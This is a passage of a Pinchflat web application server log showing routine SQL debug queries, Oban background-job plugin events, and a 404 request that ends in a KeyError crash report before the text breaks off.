23:09:13.507 [debug] QUERY OK source="settings" db=3.5ms queue=0.2ms idle=1454.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:09:13.509 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=1464.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 23:09:13.510 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=1465.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 23:09:13.576 [debug] QUERY OK source="media_items" db=65.3ms queue=0.1ms idle=1466.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:09:13.583 [debug] QUERY OK source="media_items" db=7.1ms idle=784.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:09:13.585 [debug] QUERY OK source="settings" db=0.1ms idle=82.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:09:13.585 [debug] QUERY OK source="settings" db=0.1ms idle=75.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:09:13.586 [debug] QUERY OK source="settings" db=0.1ms idle=75.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:09:13.588 [debug] QUERY OK source="tasks" db=0.4ms idle=11.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:09:13.589 [debug] QUERY OK source="media_items" db=0.3ms idle=5.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:09:13.590 [debug] QUERY OK source="media_items" db=0.3ms idle=5.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:09:13.591 [debug] QUERY OK source="sources" db=0.2ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 23:09:13.594 [debug] QUERY OK source="media_items" db=1.7ms idle=6.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:09:13.595 [debug] QUERY OK source="media_items" db=0.8ms idle=6.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:09:13.595 [debug] QUERY OK source="sources" db=0.1ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 23:09:13.596 [info] Sent 200 in 100ms 23:09:21.987 [info] {"source":"oban","duration":2038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:09:51.991 [info] {"source":"oban","duration":2792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:00.597 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:10:21.998 [info] {"source":"oban","duration":4312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:10:52.004 [info] {"source":"oban","duration":3249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:00.601 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:11:22.010 [info] {"source":"oban","duration":4420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:11:52.017 [info] {"source":"oban","duration":1808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:00.604 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:12:22.022 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:12:52.026 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:00.608 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:13:22.027 [info] {"source":"oban","duration":842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:13:52.034 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:00.611 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:14:22.039 [info] {"source":"oban","duration":3226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:14:52.054 [info] {"source":"oban","duration":4275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:00.613 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:15:22.059 [info] {"source":"oban","duration":3406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:15:52.065 [info] {"source":"oban","duration":2182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:00.618 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:16:22.068 [info] {"source":"oban","duration":885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:16:52.071 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:00.624 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:17:22.073 [info] {"source":"oban","duration":1333,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:17:52.077 [info] {"source":"oban","duration":2503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:00.630 [info] {"source":"oban","duration":300,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:18:22.081 [info] {"source":"oban","duration":2470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:18:52.087 [info] {"source":"oban","duration":2998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:00.634 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:19:22.094 [info] {"source":"oban","duration":4696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:19:52.103 [info] {"source":"oban","duration":2703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:00.645 [info] {"source":"oban","duration":154,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:20:22.111 [info] {"source":"oban","duration":5391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:20:52.117 [info] {"source":"oban","duration":5380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:00.648 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:21:22.124 [info] {"source":"oban","duration":5149,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:21:52.130 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:00.657 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:22:22.134 [info] {"source":"oban","duration":3416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:22:52.150 [info] {"source":"oban","duration":4508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:00.661 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:23:22.152 [info] {"source":"oban","duration":881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:23:52.162 [info] {"source":"oban","duration":4611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:00.665 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:24:22.167 [info] {"source":"oban","duration":3828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:24:52.176 [info] {"source":"oban","duration":4666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:00.674 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:25:22.182 [info] {"source":"oban","duration":3861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:25:52.192 [info] {"source":"oban","duration":4306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:00.677 [info] {"source":"oban","duration":1087,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:26:22.199 [info] {"source":"oban","duration":4181,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:26:52.204 [info] {"source":"oban","duration":2289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:00.690 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:27:22.209 [info] {"source":"oban","duration":4301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:27:52.214 [info] {"source":"oban","duration":3949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:00.692 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:28:22.221 [info] {"source":"oban","duration":2571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:28:52.230 [info] {"source":"oban","duration":5403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:00.694 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:29:22.236 [info] {"source":"oban","duration":4716,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:29:52.240 [info] {"source":"oban","duration":2508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:00.697 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:30:22.250 [info] {"source":"oban","duration":5803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:30:52.257 [info] {"source":"oban","duration":4561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:00.703 [info] {"source":"oban","duration":2754,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:31:22.261 [info] {"source":"oban","duration":1857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:31:52.272 [info] {"source":"oban","duration":4604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:00.705 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:32:22.281 [info] {"source":"oban","duration":4042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:32:52.287 [info] {"source":"oban","duration":3119,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:00.711 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:33:22.290 [info] {"source":"oban","duration":1906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:33:52.293 [info] {"source":"oban","duration":1712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:00.714 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:34:22.301 [info] {"source":"oban","duration":2377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:34:52.310 [info] {"source":"oban","duration":3584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:00.716 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:35:22.318 [info] {"source":"oban","duration":3947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:35:52.329 [info] {"source":"oban","duration":1257,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:00.718 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:36:22.334 [info] {"source":"oban","duration":2889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:36:33.665 [info] GET / 23:36:33.665 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 23:36:33.678 [debug] QUERY OK source="settings" db=1.2ms queue=0.1ms idle=1746.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:36:33.682 [debug] QUERY OK source="media_profiles" db=2.6ms queue=0.1ms idle=1759.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 23:36:33.683 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1762.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 23:36:33.686 [debug] QUERY OK source="media_items" db=2.5ms idle=1177.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:36:33.700 [debug] QUERY OK source="media_items" db=13.9ms idle=175.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:36:33.701 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=33.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:36:33.701 [debug] QUERY OK source="settings" db=0.1ms idle=19.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:36:33.702 [debug] QUERY OK source="settings" db=0.1ms idle=19.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:36:33.705 [debug] QUERY OK source="tasks" db=0.3ms idle=18.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:36:33.708 [debug] QUERY OK source="media_items" db=0.4ms idle=7.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:36:33.709 [debug] QUERY OK source="media_items" db=0.5ms idle=7.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:36:33.710 [debug] QUERY OK source="sources" db=0.3ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 23:36:33.715 [debug] QUERY OK source="media_items" db=2.4ms idle=10.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:36:33.717 [debug] QUERY OK source="media_items" db=1.2ms idle=10.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:36:33.717 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 23:36:33.719 [info] Sent 200 in 54ms 23:36:34.042 [info] GET /open/visitors/info/gets 23:36:34.044 [info] GET /open/ 23:36:34.046 [debug] QUERY OK source="settings" db=0.9ms queue=0.2ms idle=335.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:36:34.046 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=334.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:36:34.047 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=331.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:36:34.048 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:36:34.049 [debug] QUERY OK source="settings" db=2.6ms idle=329.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:36:34.049 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:36:34.049 [error] #PID<0.37725.0> running PinchflatWeb.Endpoint (connection #PID<0.37723.0>, stream id 2) terminated Server: youtube.plexultra.com:80 (http) Request: GET /open/visitors/info/gets?uuid=1 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 